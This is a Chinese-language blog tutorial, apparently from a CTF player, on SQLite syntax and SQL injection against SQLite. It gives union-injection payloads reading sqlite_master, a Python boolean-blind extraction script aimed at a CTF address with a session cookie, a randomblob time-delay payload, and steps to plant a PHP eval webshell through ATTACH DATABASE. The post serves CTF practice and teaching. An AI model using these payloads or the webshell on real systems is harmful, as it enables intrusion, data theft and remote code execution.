sqlite数据库及注入

前言

最近实在是忙都没时间写博客,难得周四院休赶紧把之前挖的sqlite的坑给填了。

sqlite与mysql的不同

  • Sqlite数据库的特点是它每一个数据库都是一个文件,当你查询表的完整信息时会得到创建表的语句。所以mysql盲注还是比较花时间的,因为会查出完整语句。
  • sqlite数据库有一张sqlite_master表,里面有type/name/tbl_name/rootpage/sql记录着用户创建表时的相关信息,查询的利用核心便是这个表了。
  • sqlite数据库的注释符是--,而并非是mysql的#或者--+,sqlite中的空格会自动用加号表示。

sqlite的增删查改

新建表:

1
create table test01(id int,name varchar(255));

插入数据:

1
insert into test01 (id,name) values (1,'mrl64');

插入字段:

1
alter table test01 add column passwd varchar(255);

查询数据:

1
2
select name from test01 where id=1;
//mrl64

更改数据:

1
Update teat01 set name=’strl’ where id=1;

删库跑路(bushi:

1
drop table test01;

要注意,sqlite不能直接更改字段类型,如果要更改只能重新创建表格并进行数据迁移。

sqlite注入

sqlite和mysql虽然存在的一些细微差别,不过在注入方法上还是大体相近的。

联合注入

由于sqlite的性质决定了我们不需要查库想,联合查询同样也是order by 配合union select一套组合拳下来,下面就放一下大概的流程吧:

1
2
3
4
5
6
7
8
9
?id=1 order by 3 //order by确定字段数

?id=0 union select 1,2,group_concat(name) from sqlite_master //查表

?id=0 union select 1,2,group_concat(sql) from sqlite_master //查字段

?id=0 union select 1,2,group_concat(flag) from flag //查数据

当然也推荐使用limit进行逐条打印

布尔盲注

这里和mysql最大的差别在于sqlite没有ascii()函数,因此只能使用字典爆破的方式进行盲注,不过sqlite是区分大小写的,因此可以避免mysql盲注时不确定大小写的尴尬。

没有很强的waf的话直接用sqlmap也是可以跑的,这里贴一个之前做题的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
import string

strs = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789@_.,-{} "
url = "http://1.14.71.254:28467/query"
s = requests.session()
headers = {'Cookie': 'session=eyJyb2xlIjoxLCJ1c2VybmFtZSI6ImFkbWluIn0.YklOVg.Pz554uNEiaxxBCpP4pm7-G8iucg'}

if __name__ == "__main__":
name = ''
for i in range(0,100):
char = ''
for j in strs:
#表+字段
#payload = "1 and substr((select sql from sqlite_master limit 1,1),{},1)='{}'".format(i, j)
#数据
payload = "1 and substr((select flag from flag limit 0,1),{},1)='{}'".format(i, j)
data = {"id": payload}
r = s.post(url=url, data=data, headers=headers)
#print(r.text)
if "exist" in r.text:
name += j
print(j, end='')
char = j
break
if char == '%':
break

时间盲注

sqlite没有sleep()函数,我们就用下位替代randomblob()函数来代替,这个函数可以生成一个N字节的blob,我们可以通过这个函数来达到延迟的效果。

randomblob():

The randomblob(N) function return an N-byte blob containing pseudo-random bytes. If N is less than 1 then a 1-byte random blob is returned. Hint: applications can generate globally unique identifiers using this function together with hex() and/or lower() like this:hex(randomblob(16))

我们的查询语句构造方法:

1
and 1=(case when(substr(sqlite_version(),1,1)='3') then  randomblob(1000000000) else 0 end)

case when()的用法就相当于三目运算符那样,注入的时候适当更改payload就可以了。

构造webshell

用sqlite构建webshell这个姿势还是比较有意思的,用到了sqlite的附加数据库——ATTACH语句来进行构造。

ATTACH:

1
2
3
4
5
ATTACH DATABASE file_name AS database_name;

如果数据库尚未被创建,上面的命令将创建一个数据库,如果数据库已存在,则把数据库文件名称与逻辑数据库'Alias-Name'绑定在一起。

打开的数据库和使用ATTACH附加进来的数据库的必须位于同一文件夹下。

我们通过去建立一个文件,再插入payload的方式构建webshell。

构造过程:

1
2
3
ATTACH DATABASE '/home/shell.php' AS shell; //创建文件
create TABLE shell.exp (payload text); //创建表格,为插入语句做准备
insert INTO shell.exp (payload) VALUES ('<?php @eval($_POST[1]); ?>'); //插入数据

总结

sqlite还是很有意思的一块内容,除了SQLite voting那题以外暂时还没有看到难度较高的sqlite题,这块的知识感觉在之后也是一个趋势吧。